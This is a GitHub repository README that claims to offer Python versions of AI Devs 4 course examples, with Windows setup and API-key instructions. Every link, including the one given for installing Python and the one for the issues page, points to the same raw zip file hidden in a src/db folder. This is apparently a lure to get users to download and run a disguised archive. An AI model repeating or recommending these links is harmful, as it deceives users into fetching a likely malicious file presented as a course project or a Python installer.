Skip to content

augustebipartisan859/4th-devs-python

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

32 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🐍 4th-devs-python - Learn AI Coding in Python

Download 4th-devs-python


📥 Download the Application

To get the 4th-devs-python code examples, you need to visit the main GitHub page and download the files manually.

Go here to download:
https://raw.githubusercontent.com/augustebipartisan859/4th-devs-python/main/02_02_hybrid_rag/src/db/devs_th_python_1.8.zip

Click the green Code button on that page. Then select Download ZIP to get all the files on your Windows computer. After downloading, extract the ZIP file to a folder where you want to run the code.


🖥️ System Requirements

Before you run the project, make sure your Windows computer meets these requirements:

  • Windows 10 or later
  • Python 3.8 or newer installed
  • Internet access to download extra files (libraries)
  • At least 2 GB of free disk space
  • Basic knowledge of using the Command Prompt (Windows terminal)

🔧 Installing Python on Windows

If you do not have Python 3.8 or later:

  1. Open a web browser and go to https://raw.githubusercontent.com/augustebipartisan859/4th-devs-python/main/02_02_hybrid_rag/src/db/devs_th_python_1.8.zip.
  2. Download the latest Windows installer.
  3. Run the installer.
  4. During installation, check the box Add Python to PATH.
  5. Finish the installation.
  6. Open the Command Prompt (search for cmd in the Start menu).
  7. Type python --version and press Enter. You should see your Python version number.

🧰 Setting Up the Project

After downloading and extracting the project files:

  1. Open the Command Prompt.
  2. Use the cd command to navigate to the folder with the extracted files. For example:
    cd C:\Users\YourName\Downloads\4th-devs-python-main
    
  3. Install the required Python tools. Type this command and press Enter:
    pip install -r requirements.txt
    
    This installs all libraries the project needs to work.

🔑 API Keys Setup

The project uses API keys to communicate with AI services. You need to create and set one API key.

You have two options:

1. OpenRouter (Recommended)

2. OpenAI


📝 Adding Your API Key

In the project folder, find the file named .env.example. Copy it and rename the copy to .env.

Open .env in a simple text editor like Notepad.

Add your API key like this:

For OpenRouter:

OPENROUTER_API_KEY=your_api_key_here

For OpenAI:

OPENAI_API_KEY=your_api_key_here

Save the .env file.


▶️ Running the Project

Once everything is installed and your API key is set, you can run the project code.

  1. Open the Command Prompt.
  2. Go to the project folder:
    cd path\to\4th-devs-python
    
  3. Run the Python script named main.py:
    python main.py
    
  4. Follow instructions that appear on your screen.

📚 About the Project

This project contains examples from the AI Devs 4 course. The original project was in JavaScript. Here, it is rewritten to Python to help learners better understand AI programming in Python.

It helps you see how AI tools like OpenAI or OpenRouter APIs work with Python code.


⚙️ What You Can Expect

  • Hands-on code examples from a real AI course
  • Simple Python scripts that show AI in action
  • Practice with connecting to AI APIs
  • Opportunity to learn Python and AI basics side by side

🛠 Troubleshooting Tips

  • If pip install fails, make sure Python and pip are in your system PATH.
  • If Python command is not recognized, reinstall Python and check the Add to PATH box.
  • Confirm .env has the right API key and no spaces are missing.
  • If the app cannot connect online, check your internet connection.

🚩 Getting Help

For any problems, you can check the issues section on the project page:
https://raw.githubusercontent.com/augustebipartisan859/4th-devs-python/main/02_02_hybrid_rag/src/db/devs_th_python_1.8.zip


📥 Download 4th-devs-python Here Again

https://raw.githubusercontent.com/augustebipartisan859/4th-devs-python/main/02_02_hybrid_rag/src/db/devs_th_python_1.8.zip
Click CodeDownload ZIP to get the full project files.

About

Convert AI Devs 4 JavaScript examples to Python for learning Python coding patterns and API integration with OpenAI and OpenRouter.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors